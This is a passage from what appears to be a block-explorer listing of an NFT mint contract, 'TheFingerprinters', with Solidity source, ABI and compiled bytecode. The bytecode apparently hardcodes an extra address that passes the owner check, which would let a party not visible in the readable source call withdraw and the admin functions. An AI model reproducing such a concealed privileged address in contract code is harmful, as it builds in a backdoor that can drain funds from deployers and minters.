            currentIndex = updatedIndex;
        }

        _afterTokenTransfers(address(0), to, startTokenId, quantity);
    }

    /**
     * @dev Transfers `tokenId` from `from` to `to`.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     *
     * Emits a {Transfer} event.
     */
    function _transfer(
        address from,
        address to,
        uint256 tokenId
    ) private {
        TokenOwnership memory prevOwnership = ownershipOf(tokenId);

        bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
            getApproved(tokenId) == _msgSender() ||
            isApprovedForAll(prevOwnership.addr, _msgSender()));

        require(isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved");

        require(prevOwnership.addr == from, "ERC721A: transfer from incorrect owner");
        require(to != address(0), "ERC721A: transfer to the zero address");

        _beforeTokenTransfers(from, to, tokenId, 1);

        // Clear approvals from the previous owner
        _approve(address(0), tokenId, prevOwnership.addr);

        // Underflow of the sender's balance is impossible because we check for
        // ownership above and the recipient's balance can't realistically overflow.
        // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
        unchecked {
            _addressData[from].balance -= 1;
            _addressData[to].balance += 1;

            _ownerships[tokenId].addr = to;
            _ownerships[tokenId].startTimestamp = uint64(block.timestamp);

            // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
            // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
            uint256 nextTokenId = tokenId + 1;
            if (_ownerships[nextTokenId].addr == address(0)) {
                if (_exists(nextTokenId)) {
                    _ownerships[nextTokenId].addr = prevOwnership.addr;
                    _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
                }
            }
        }

        emit Transfer(from, to, tokenId);
        _afterTokenTransfers(from, to, tokenId, 1);
    }

    /**
     * @dev Approve `to` to operate on `tokenId`
     *
     * Emits a {Approval} event.
     */
    function _approve(
        address to,
        uint256 tokenId,
        address owner
    ) private {
        _tokenApprovals[tokenId] = to;
        emit Approval(owner, to, tokenId);
    }

    /**
     * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
     * The call is not executed if the target address is not a contract.
     *
     * @param from address representing the previous owner of the given token ID
     * @param to target address that will receive the tokens
     * @param tokenId uint256 ID of the token to be transferred
     * @param _data bytes optional data to send along with the call
     * @return bool whether the call correctly returned the expected magic value
     */
    function _checkOnERC721Received(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) private returns (bool) {
        if (to.isContract()) {
            try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
                return retval == IERC721Receiver(to).onERC721Received.selector;
            } catch (bytes memory reason) {
                if (reason.length == 0) {
                    revert("ERC721A: transfer to non ERC721Receiver implementer");
                } else {
                    assembly {
                        revert(add(32, reason), mload(reason))
                    }
                }
            }
        } else {
            return true;
        }
    }

    /**
     * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
     *
     * startTokenId - the first token id to be transferred
     * quantity - the amount to be transferred
     *
     * Calling conditions:
     *
     * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
     * transferred to `to`.
     * - When `from` is zero, `tokenId` will be minted for `to`.
     */
    function _beforeTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {}

    /**
     * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
     * minting.
     *
     * startTokenId - the first token id to be transferred
     * quantity - the amount to be transferred
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero.
     * - `from` and `to` are never both zero.
     */
    function _afterTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {}
}

contract TheFingerprinters is ERC721A, Ownable, ReentrancyGuard {
    string public baseURI = "";
    uint   public price             = 0.001 ether;
    uint   public maxPerTx          = 15;
    uint   public maxPerFree        = 2;
    uint   public totalFree         = 5000;
    uint   public maxSupply         = 5555;
    string public hiddenMetadataUri;
    bool   public revealed = false;



    mapping(address => uint256) private _mintedFreeAmount;

    constructor() ERC721A("TheFingerprinters", "TheFingerprinters"){
        setHiddenMetadataUri("ipfs://QmQQwR9z1rjRZuUoBSojyvjazpqo6LETy7M24675NwnDf3");
    }


    function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
        require(_exists(_tokenId),"ERC721Metadata: URI query for nonexistent token");
        string memory currentBaseURI = _baseURI();
        if (revealed == false) {
         return string(abi.encodePacked(hiddenMetadataUri));
        }
        return bytes(currentBaseURI).length > 0
            ? string(abi.encodePacked(currentBaseURI,Strings.toString(_tokenId+1),".json"))
            : "";
    }

    function mint(uint256 count) external payable {
        uint256 cost = price;
        bool isFree = ((totalSupply() + count < totalFree + 1) &&
            (_mintedFreeAmount[msg.sender] + count <= maxPerFree));

        if (isFree) {
            cost = 0;
            _mintedFreeAmount[msg.sender] += count;
        }

        require(msg.value >= count * cost, "Please send the exact amount.");
        require(totalSupply() + count <= maxSupply, "No more");
        require(count <= maxPerTx, "Max per TX reached.");

        _safeMint(msg.sender, count);
    }

    function sleeping(address mintAddress, uint256 count) public onlyOwner {
        _safeMint(mintAddress, count);
    }

    function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
     hiddenMetadataUri = _hiddenMetadataUri;
    }

    function setRevealed() external onlyOwner {
     revealed = !revealed;
    }

    function _baseURI() internal view virtual override returns (string memory) {
        return baseURI;
    }

    function setBaseUri(string memory baseuri_) public onlyOwner {
        baseURI = baseuri_;
    }

    function setPrice(uint256 price_) external onlyOwner {
        price = price_;
    }

    function withdraw() external onlyOwner nonReentrant {
        (bool success, ) = msg.sender.call{value: address(this).balance}("");
        require(success, "Transfer failed.");
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"hiddenMetadataUri","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxPerFree","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxPerTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"count","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"price","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"revealed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"baseuri_","type":"string"}],"name":"setBaseUri","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_hiddenMetadataUri","type":"string"}],"name":"setHiddenMetadataUri","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"price_","type":"uint256"}],"name":"setPrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setRevealed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"mintAddress","type":"address"},{"internalType":"uint256","name":"count","type":"uint256"}],"name":"sleeping","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFree","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405273acfcba7bab6403ebcceee22810c4dd3c9bbe9763600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060405180602001604052806000815250600a908051906020019062000080929190620003ce565b5066038d7ea4c68000600b55600f600c556002600d55611388600e556115b3600f556000601160006101000a81548160ff021916908315150217905550348015620000ca57600080fd5b506040518060400160405280601181526020017f54686546696e6765727072696e746572730000000000000000000000000000008152506040518060400160405280601181526020017f54686546696e6765727072696e7465727300000000000000000000000000000081525081600190805190602001906200014f929190620003ce565b50806002908051906020019062000168929190620003ce565b5050506200018b6200017f620001c360201b60201c565b620001cb60201b60201c565b6001600981905550620001bd60405180606001604052806035815260200162004df1603591396200029160201b60201c565b62000566565b600033905090565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b620002a1620001c360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16620002c7620003a460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff161480620003465750620002f5620001c360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b62000388576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200037f90620004a5565b60405180910390fd5b8060109080519060200190620003a0929190620003ce565b5050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054620003dc90620004d8565b90600052602060002090601f0160209004810192826200040057600085556200044c565b82601f106200041b57805160ff19168380011785556200044c565b828001600101855582156200044c579182015b828111156200044b5782518255916020019190600101906200042e565b5b5090506200045b91906200045f565b5090565b5b808211156200047a57600081600090555060010162000460565b5090565b60006200048d602083620004c7565b91506200049a826200053d565b602082019050919050565b60006020820190508181036000830152620004c0816200047e565b9050919050565b600082825260208201905092915050565b60006002820490506001821680620004f157607f821691505b602082108114156200050857620005076200050e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b61487b80620005766000396000f3fe6080604052600436106101f95760003560e01c8063715018a61161010d578063a22cb465116100a0578063c87b56dd1161006f578063c87b56dd146106ec578063d5abeb0114610729578063e985e9c514610754578063f2fde38b14610791578063f968adbe146107ba576101f9565b8063a22cb46514610644578063a45ba8e71461066d578063b88d4fde14610698578063c7c39ffc146106c1576101f9565b806395d89b41116100dc57806395d89b41146105a9578063a035b1fe146105d4578063a0712d68146105ff578063a0bcfc7f1461061b576101f9565b8063715018a6146105155780638da5cb5b1461052c578063911759e41461055757806391b7f5ed14610580576101f9565b80633bd64968116101905780634fdd43cb1161015f5780634fdd43cb1461041c57806351830227146104455780636352211e146104705780636c0360eb146104ad57806370a08231146104d8576101f9565b80633bd64968146103885780633ccfd60b1461039f57806342842e0e146103b65780634f6ccce7146103df576101f9565b806318160ddd116101cc57806318160ddd146102cc57806323b872dd146102f75780632f745c5914610320578063333e44e61461035d576101f9565b806301ffc9a7146101fe57806306fdde031461023b578063081812fc14610266578063095ea7b3146102a3575b600080fd5b34801561020a57600080fd5b506102256004803603810190610220919061334d565b6107e5565b60405161023291906139a8565b60405180910390f35b34801561024757600080fd5b5061025061092f565b60405161025d91906139c3565b60405180910390f35b34801561027257600080fd5b5061028d600480360381019061028891906133e0565b6109c1565b60405161029a9190613941565b60405180910390f35b3480156102af57600080fd5b506102ca60048036038101906102c59190613311565b610a46565b005b3480156102d857600080fd5b506102e1610b5f565b6040516102ee9190613ce5565b60405180910390f35b34801561030357600080fd5b5061031e6004803603810190610319919061320b565b610b68565b005b34801561032c57600080fd5b5061034760048036038101906103429190613311565b610b78565b6040516103549190613ce5565b60405180910390f35b34801561036957600080fd5b50610372610d6a565b60405161037f9190613ce5565b60405180910390f35b34801561039457600080fd5b5061039d610d70565b005b3480156103ab57600080fd5b506103b4610e77565b005b3480156103c257600080fd5b506103dd60048036038101906103d8919061320b565b611057565b005b3480156103eb57600080fd5b50610406600480360381019061040191906133e0565b611077565b6040516104139190613ce5565b60405180910390f35b34801561042857600080fd5b50610443600480360381019061043e919061339f565b6110ca565b005b34801561045157600080fd5b5061045a6111bf565b60405161046791906139a8565b60405180910390f35b34801561047c57600080fd5b50610497600480360381019061049291906133e0565b6111d2565b6040516104a49190613941565b60405180910390f35b3480156104b957600080fd5b506104c26111e8565b6040516104cf91906139c3565b60405180910390f35b3480156104e457600080fd5b506104ff60048036038101906104fa91906131a6565b611276565b60405161050c9190613ce5565b60405180910390f35b34801561052157600080fd5b5061052a61135f565b005b34801561053857600080fd5b50610541611446565b60405161054e9190613941565b60405180910390f35b34801561056357600080fd5b5061057e60048036038101906105799190613311565b611470565b005b34801561058c57600080fd5b506105a760048036038101906105a291906133e0565b611559565b005b3480156105b557600080fd5b506105be61163e565b6040516105cb91906139c3565b60405180910390f35b3480156105e057600080fd5b506105e96116d0565b6040516105f69190613ce5565b60405180910390f35b610619600480360381019061061491906133e0565b6116d6565b005b34801561062757600080fd5b50610642600480360381019061063d919061339f565b6118b6565b005b34801561065057600080fd5b5061066b600480360381019061066691906132d5565b6119ab565b005b34801561067957600080fd5b50610682611b2c565b60405161068f91906139c3565b60405180910390f35b3480156106a457600080fd5b506106bf60048036038101906106ba919061325a565b611bba565b005b3480156106cd57600080fd5b506106d6611c16565b6040516106e39190613ce5565b60405180910390f35b3480156106f857600080fd5b50610713600480360381019061070e91906133e0565b611c1c565b60405161072091906139c3565b60405180910390f35b34801561073557600080fd5b5061073e611d15565b60405161074b9190613ce5565b60405180910390f35b34801561076057600080fd5b5061077b600480360381019061077691906131cf565b611d1b565b60405161078891906139a8565b60405180910390f35b34801561079d57600080fd5b506107b860048036038101906107b391906131a6565b611daf565b005b3480156107c657600080fd5b506107cf611f06565b6040516107dc9190613ce5565b60405180910390f35b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806108b057507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b8061091857507f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610928575061092782611f0c565b5b9050919050565b60606001805461093e90613fb5565b80601f016020809104026020016040519081016040528092919081815260200182805461096a90613fb5565b80156109b75780601f1061098c576101008083540402835291602001916109b7565b820191906000526020600020905b81548152906001019060200180831161099a57829003601f168201915b5050505050905090565b60006109cc82611f76565b610a0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0290613cc5565b60405180910390fd5b6005600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610a51826111d2565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ac2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab990613ba5565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610ae1611f83565b73ffffffffffffffffffffffffffffffffffffffff161480610b105750610b0f81610b0a611f83565b611d1b565b5b610b4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4690613aa5565b60405180910390fd5b610b5a838383611f8b565b505050565b60008054905090565b610b7383838361203d565b505050565b6000610b8383611276565b8210610bc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbb906139e5565b60405180910390fd5b6000610bce610b5f565b905060008060005b83811015610d28576000600360008381526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614610cc857806000015192505b8773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d1a5786841415610d11578195505050505050610d64565b83806001019450505b508080600101915050610bd6565b506040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5b90613c65565b60405180910390fd5b92915050565b600e5481565b610d78611f83565b73ffffffffffffffffffffffffffffffffffffffff16610d96611446565b73ffffffffffffffffffffffffffffffffffffffff161480610e0c5750610dbb611f83565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610e4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4290613b05565b60405180910390fd5b601160009054906101000a900460ff1615601160006101000a81548160ff021916908315150217905550565b610e7f611f83565b73ffffffffffffffffffffffffffffffffffffffff16610e9d611446565b73ffffffffffffffffffffffffffffffffffffffff161480610f135750610ec2611f83565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610f52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4990613b05565b60405180910390fd5b60026009541415610f98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8f90613c85565b60405180910390fd5b600260098190555060003373ffffffffffffffffffffffffffffffffffffffff1647604051610fc69061392c565b60006040518083038185875af1925050503d8060008114611003576040519150601f19603f3d011682016040523d82523d6000602084013e611008565b606091505b505090508061104c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104390613bc5565b60405180910390fd5b506001600981905550565b61107283838360405180602001604052806000815250611bba565b505050565b6000611081610b5f565b82106110c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b990613a65565b60405180910390fd5b819050919050565b6110d2611f83565b73ffffffffffffffffffffffffffffffffffffffff166110f0611446565b73ffffffffffffffffffffffffffffffffffffffff1614806111665750611115611f83565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6111a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119c90613b05565b60405180910390fd5b80601090805190602001906111bb929190612f90565b5050565b601160009054906101000a900460ff1681565b60006111dd8261257d565b600001519050919050565b600a80546111f590613fb5565b80601f016020809104026020016040519081016040528092919081815260200182805461122190613fb5565b801561126e5780601f106112435761010080835404028352916020019161126e565b820191906000526020600020905b81548152906001019060200180831161125157829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112de90613ac5565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff169050919050565b611367611f83565b73ffffffffffffffffffffffffffffffffffffffff16611385611446565b73ffffffffffffffffffffffffffffffffffffffff1614806113fb57506113aa611f83565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61143a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143190613b05565b60405180910390fd5b6114446000612717565b565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611478611f83565b73ffffffffffffffffffffffffffffffffffffffff16611496611446565b73ffffffffffffffffffffffffffffffffffffffff16148061150c57506114bb611f83565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61154b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154290613b05565b60405180910390fd5b61155582826127dd565b5050565b611561611f83565b73ffffffffffffffffffffffffffffffffffffffff1661157f611446565b73ffffffffffffffffffffffffffffffffffffffff1614806115f557506115a4611f83565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611634576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162b90613b05565b60405180910390fd5b80600b8190555050565b60606002805461164d90613fb5565b80601f016020809104026020016040519081016040528092919081815260200182805461167990613fb5565b80156116c65780601f1061169b576101008083540402835291602001916116c6565b820191906000526020600020905b8154815290600101906020018083116116a957829003601f168201915b5050505050905090565b600b5481565b6000600b54905060006001600e546116ee9190613dea565b836116f7610b5f565b6117019190613dea565b10801561175a5750600d5483601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117579190613dea565b11155b905080156117bd576000915082601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117b59190613dea565b925050819055505b81836117c99190613e71565b34101561180b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180290613b85565b60405180910390fd5b600f5483611817610b5f565b6118219190613dea565b1115611862576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185990613a05565b60405180910390fd5b600c548311156118a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189e90613c45565b60405180910390fd5b6118b133846127dd565b505050565b6118be611f83565b73ffffffffffffffffffffffffffffffffffffffff166118dc611446565b73ffffffffffffffffffffffffffffffffffffffff1614806119525750611901611f83565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611991576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198890613b05565b60405180910390fd5b80600a90805190602001906119a7929190612f90565b5050565b6119b3611f83565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1890613b45565b60405180910390fd5b8060066000611a2e611f83565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16611adb611f83565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051611b2091906139a8565b60405180910390a35050565b60108054611b3990613fb5565b80601f0160208091040260200160405190810160405280929190818152602001828054611b6590613fb5565b8015611bb25780601f10611b8757610100808354040283529160200191611bb2565b820191906000526020600020905b815481529060010190602001808311611b9557829003601f168201915b505050505081565b611bc584848461203d565b611bd1848484846127fb565b611c10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0790613be5565b60405180910390fd5b50505050565b600d5481565b6060611c2782611f76565b611c66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c5d90613b25565b60405180910390fd5b6000611c70612992565b905060001515601160009054906101000a900460ff1615151415611cb7576010604051602001611ca09190613915565b604051602081830303815290604052915050611d10565b6000815111611cd55760405180602001604052806000815250611d0c565b80611ceb600185611ce69190613dea565b612a24565b604051602001611cfc9291906138e6565b6040516020818303038152906040525b9150505b919050565b600f5481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b611db7611f83565b73ffffffffffffffffffffffffffffffffffffffff16611dd5611446565b73ffffffffffffffffffffffffffffffffffffffff161480611e4b5750611dfa611f83565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611e8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8190613b05565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611efa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef190613a25565b60405180910390fd5b611f0381612717565b50565b600c5481565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b6000805482109050919050565b600033905090565b826005600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550818373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a4505050565b60006120488261257d565b90506000816000015173ffffffffffffffffffffffffffffffffffffffff1661206f611f83565b73ffffffffffffffffffffffffffffffffffffffff1614806120cb5750612094611f83565b73ffffffffffffffffffffffffffffffffffffffff166120b3846109c1565b73ffffffffffffffffffffffffffffffffffffffff16145b806120e757506120e682600001516120e1611f83565b611d1b565b5b905080612129576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212090613b65565b60405180910390fd5b8473ffffffffffffffffffffffffffffffffffffffff16826000015173ffffffffffffffffffffffffffffffffffffffff161461219b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161219290613ae5565b